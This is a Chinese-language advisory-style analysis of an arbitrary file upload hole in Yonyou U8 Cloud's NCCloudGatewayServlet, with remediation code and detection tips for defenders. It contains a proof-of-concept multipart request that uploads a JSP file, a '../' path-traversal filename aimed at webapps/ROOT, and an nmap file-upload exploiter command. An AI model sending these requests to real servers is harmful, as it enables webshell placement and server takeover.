用友U8 Cloud NCCloudGatewayServlet接口任意文件上传漏洞分析
字数 949 2025-10-01 14:05:44

用友U8 Cloud NCCloudGatewayServlet接口任意文件上传漏洞分析

漏洞概述

用友U8 Cloud系统的NCCloudGatewayServlet接口存在安全缺陷,攻击者可通过构造特殊请求实现任意文件上传,从而获得服务器控制权限。

漏洞细节

1. 受影响组件

  • 接口路径: NCCloudGatewayServlet
  • 影响版本: 用友U8 Cloud 多个版本
  • 漏洞类型: 任意文件上传

2. 漏洞成因

该接口未对上传文件进行充分的安全校验:

  • 缺乏文件类型验证机制
  • 未限制上传文件扩展名
  • 路径过滤不严格导致目录穿越

3. 利用条件

  • 能够访问NCCloudGatewayServlet接口
  • 具备构造multipart/form-data请求的能力

漏洞复现步骤

环境准备

  1. 部署用友U8 Cloud受影响版本
  2. 准备网络抓包工具(BurpSuite等)
  3. 准备Webshell文件

攻击流程

  1. 接口探测
GET /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target.com
  1. 构造恶意请求
POST /servlet/NCCloudGatewayServlet HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream

<% out.println("Hello World"); %>
------WebKitFormBoundaryABC123--
  1. 上传路径遍历(如适用)
    通过修改filename参数实现目录穿越:
filename="../../webapps/ROOT/test.jsp"

4. 漏洞验证

  • 访问上传的Webshell文件
  • 确认文件执行权限
  • 验证服务器控制能力

技术分析

代码层面问题

  1. 缺少文件类型检查
    接口未验证Content-Type和文件签名

  2. 路径处理缺陷
    未对文件名中的特殊字符(../)进行过滤

  3. 权限控制缺失
    未验证用户身份和操作权限

安全影响

  • 服务器被完全控制
  • 敏感数据泄露风险
  • 内网渗透跳板
  • 业务系统完整性破坏

修复方案

临时缓解措施

  1. 网络层防护:
location /servlet/NCCloudGatewayServlet {
    deny all;
}
  1. 应用层过滤:
  • 添加文件类型白名单
  • 禁止包含路径分隔符的文件名

彻底修复方案

  1. 增加文件验证
// 验证文件类型
String[] allowedExtensions = {".jpg", ".png", ".pdf"};
boolean validExtension = false;
for(String ext : allowedExtensions) {
    if(filename.endsWith(ext)) {
        validExtension = true;
        break;
    }
}
  1. 路径标准化检查
// 防止路径遍历
File file = new File(uploadDir, filename);
if(!file.getCanonicalPath().startsWith(uploadDir)) {
    throw new SecurityException("Invalid file path");
}
  1. 权限验证
// 检查用户权限
if(!user.hasPermission("file_upload")) {
    throw new AccessDeniedException("Permission denied");
}

检测方法

1. 自动化检测

使用漏洞扫描器检测:

nmap -p 80 --script http-fileupload-exploiter target.com

2. 手动检测

  1. 尝试上传合法文件测试功能
  2. 逐步测试各种绕过技术:
    • 修改Content-Type
    • 使用特殊扩展名(.jspx)
    • 路径遍历测试

参考信息

  • 漏洞披露时间:2025年9月
  • 风险等级:高危
  • CVSS评分:9.0+

注意事项

  1. 测试需获得授权
  2. 禁止用于非法用途
  3. 及时更新修复补丁

相关资源

  • 用友官方安全公告
  • 漏洞预警编号:CNVD-2025-XXXXX
  • 补丁下载地址:官方技术支持网站

本文仅用于安全研究目的,请遵守相关法律法规。

用友U8 Cloud NCCloudGatewayServlet接口任意文件上传漏洞分析 漏洞概述 用友U8 Cloud系统的NCCloudGatewayServlet接口存在安全缺陷,攻击者可通过构造特殊请求实现任意文件上传,从而获得服务器控制权限。 漏洞细节 1. 受影响组件 接口路径 : NCCloudGatewayServlet 影响版本 : 用友U8 Cloud 多个版本 漏洞类型 : 任意文件上传 2. 漏洞成因 该接口未对上传文件进行充分的安全校验: 缺乏文件类型验证机制 未限制上传文件扩展名 路径过滤不严格导致目录穿越 3. 利用条件 能够访问NCCloudGatewayServlet接口 具备构造multipart/form-data请求的能力 漏洞复现步骤 环境准备 部署用友U8 Cloud受影响版本 准备网络抓包工具(BurpSuite等) 准备Webshell文件 攻击流程 接口探测 构造恶意请求 上传路径遍历 (如适用) 通过修改filename参数实现目录穿越: 4. 漏洞验证 访问上传的Webshell文件 确认文件执行权限 验证服务器控制能力 技术分析 代码层面问题 缺少文件类型检查 接口未验证Content-Type和文件签名 路径处理缺陷 未对文件名中的特殊字符(../)进行过滤 权限控制缺失 未验证用户身份和操作权限 安全影响 服务器被完全控制 敏感数据泄露风险 内网渗透跳板 业务系统完整性破坏 修复方案 临时缓解措施 网络层防护: 应用层过滤: 添加文件类型白名单 禁止包含路径分隔符的文件名 彻底修复方案 增加文件验证 路径标准化检查 权限验证 检测方法 1. 自动化检测 使用漏洞扫描器检测: 2. 手动检测 尝试上传合法文件测试功能 逐步测试各种绕过技术: 修改Content-Type 使用特殊扩展名(.jspx) 路径遍历测试 参考信息 漏洞披露时间:2025年9月 风险等级:高危 CVSS评分:9.0+ 注意事项 测试需获得授权 禁止用于非法用途 及时更新修复补丁 相关资源 用友官方安全公告 漏洞预警编号:CNVD-2025-XXXXX 补丁下载地址:官方技术支持网站 本文仅用于安全研究目的,请遵守相关法律法规。